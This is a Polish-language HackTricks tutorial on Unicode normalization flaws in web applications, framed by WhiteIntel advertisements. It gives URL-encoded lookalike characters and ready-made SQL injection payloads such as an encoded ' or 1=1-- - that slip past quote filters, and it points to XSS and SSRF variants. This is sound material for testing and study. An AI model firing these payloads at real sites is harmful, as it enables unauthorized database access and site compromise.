hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

10 KiB

Normalizacja Unicode

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}


To jest streszczenie: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. Sprawdź, aby uzyskać więcej szczegółów (zdjęcia pochodzą z tego źródła).

Zrozumienie Unicode i Normalizacji

Normalizacja Unicode to proces zapewniający, że różne reprezentacje binarne znaków są standaryzowane do tego samego wartości binarnej. Proces ten jest kluczowy w pracy ze stringami w programowaniu i przetwarzaniu danych. Standard Unicode definiuje dwa rodzaje równoważności znaków:

  1. Równoważność Kanoniczna: Znaki są uważane za równoważne kanonicznie, jeśli mają taki sam wygląd i znaczenie podczas drukowania lub wyświetlania.
  2. Równoważność Zgodności: Słabsza forma równoważności, gdzie znaki mogą reprezentować ten sam abstrakcyjny znak, ale mogą być wyświetlane inaczej.

Istnieją cztery algorytmy normalizacji Unicode: NFC, NFD, NFKC i NFKD. Każdy z algorytmów stosuje techniki normalizacji kanonicznej i zgodności w inny sposób. Dla bardziej szczegółowego zrozumienia, możesz zgłębić te techniki na stronie Unicode.org.

Kluczowe Punkty dotyczące Kodowania Unicode

Zrozumienie kodowania Unicode jest kluczowe, zwłaszcza przy rozwiązywaniu problemów interoperacyjności między różnymi systemami lub językami. Oto główne punkty:

  • Punkty Kodowe i Znaki: W Unicode każdy znak lub symbol jest przypisany wartości numerycznej zwanej "punktem kodowym".
  • Reprezentacja w Bajtach: Punkt kodowy (lub znak) jest reprezentowany przez jeden lub więcej bajtów w pamięci. Na przykład znaki LATIN-1 (powszechne w krajach anglojęzycznych) są reprezentowane za pomocą jednego bajta. Jednak języki z większym zbiorem znaków wymagają więcej bajtów do reprezentacji.
  • Kodowanie: Termin ten odnosi się do sposobu, w jaki znaki są przekształcane w serię bajtów. UTF-8 to powszechne standardowe kodowanie, w którym znaki ASCII są reprezentowane za pomocą jednego bajta, a do czterech bajtów dla innych znaków.
  • Przetwarzanie Danych: Systemy przetwarzające dane muszą być świadome użytego kodowania, aby poprawnie przekształcić strumień bajtów w znaki.
  • Warianty UTF: Oprócz UTF-8 istnieją inne standardy kodowania, takie jak UTF-16 (używający co najmniej 2 bajtów, aż do 4) i UTF-32 (używający 4 bajtów dla wszystkich znaków).

Zrozumienie tych pojęć jest kluczowe dla skutecznego radzenia sobie z potencjalnymi problemami wynikającymi z złożoności Unicode i jego różnych metod kodowania.

Przykład normalizacji Unicode dwóch różnych bajtów reprezentujących ten sam znak:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

Lista równoważnych znaków Unicode można znaleźć tutaj: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html oraz https://0xacb.com/normalization_table

Odkrywanie

Jeśli w aplikacji internetowej znajdziesz wartość, która jest odsyłana z powrotem, możesz spróbować wysłać 'ZNAK KELWINA' (U+0212A), który normalizuje się do "K" (możesz wysłać go jako %e2%84%aa). Jeśli otrzymasz z powrotem "K", to oznacza, że jest wykonywana normalizacja Unicode'a.

Inny przykład: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 po normalizacji Unicode'a to Leonishan.

Narażone Przykłady

Ominięcie filtra SQL Injection

Wyobraź sobie stronę internetową, która używa znaku ' do tworzenia zapytań SQL z wejścia użytkownika. Ta strona, jako środek bezpieczeństwa, usuwa wszystkie wystąpienia znaku ' z wejścia użytkownika, ale po tej usunięciu i przed utworzeniem zapytania, normalizuje wejście użytkownika za pomocą Unicode'a.

W takim przypadku złośliwy użytkownik mógłby wstawić inny znak Unicode równoważny z ' (0x27) jak %ef%bc%87, gdy wejście zostanie znormalizowane, pojedynczy cudzysłów zostanie utworzony, a pojawia się luka w zabezpieczeniach przed SQL Injection:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Kilka interesujących znaków Unicode

  • o -- %e1%b4%bc
  • r -- %e1%b4%bf
  • 1 -- %c2%b9
  • = -- %e2%81%bc
  • / -- %ef%bc%8f
  • --- %ef%b9%a3
  • #-- %ef%b9%9f
  • *-- %ef%b9%a1
  • ' -- %ef%bc%87
  • " -- %ef%bc%82
  • | -- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

Szablon sqlmap

{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}

XSS (Cross Site Scripting)

Możesz użyć jednego z poniższych znaków, aby oszukać aplikację internetową i wykorzystać XSS:

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Zauważ, że na przykład pierwszy proponowany znak Unicode może być wysłany jako: %e2%89%ae lub jako %u226e

https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/

Fuzzing Regexes

Kiedy backend sprawdza dane wejściowe użytkownika za pomocą regexa, możliwe jest, że dane wejściowenormalizowane dla regexa, ale nie dla miejsca, gdzie są używane. Na przykład, w przypadku przekierowania otwartego lub SSRF, regex może normalizować wysłany URL, ale potem uzyskiwać do niego dostęp w oryginalnej formie.

Narzędzie recollapse pozwala na generowanie wariacji danych wejściowych do testowania backendu. Aby uzyskać więcej informacji, sprawdź github i ten post.

Referencje

WhiteIntel

WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcjonalności do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

{% embed url="https://whiteintel.io" %}

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: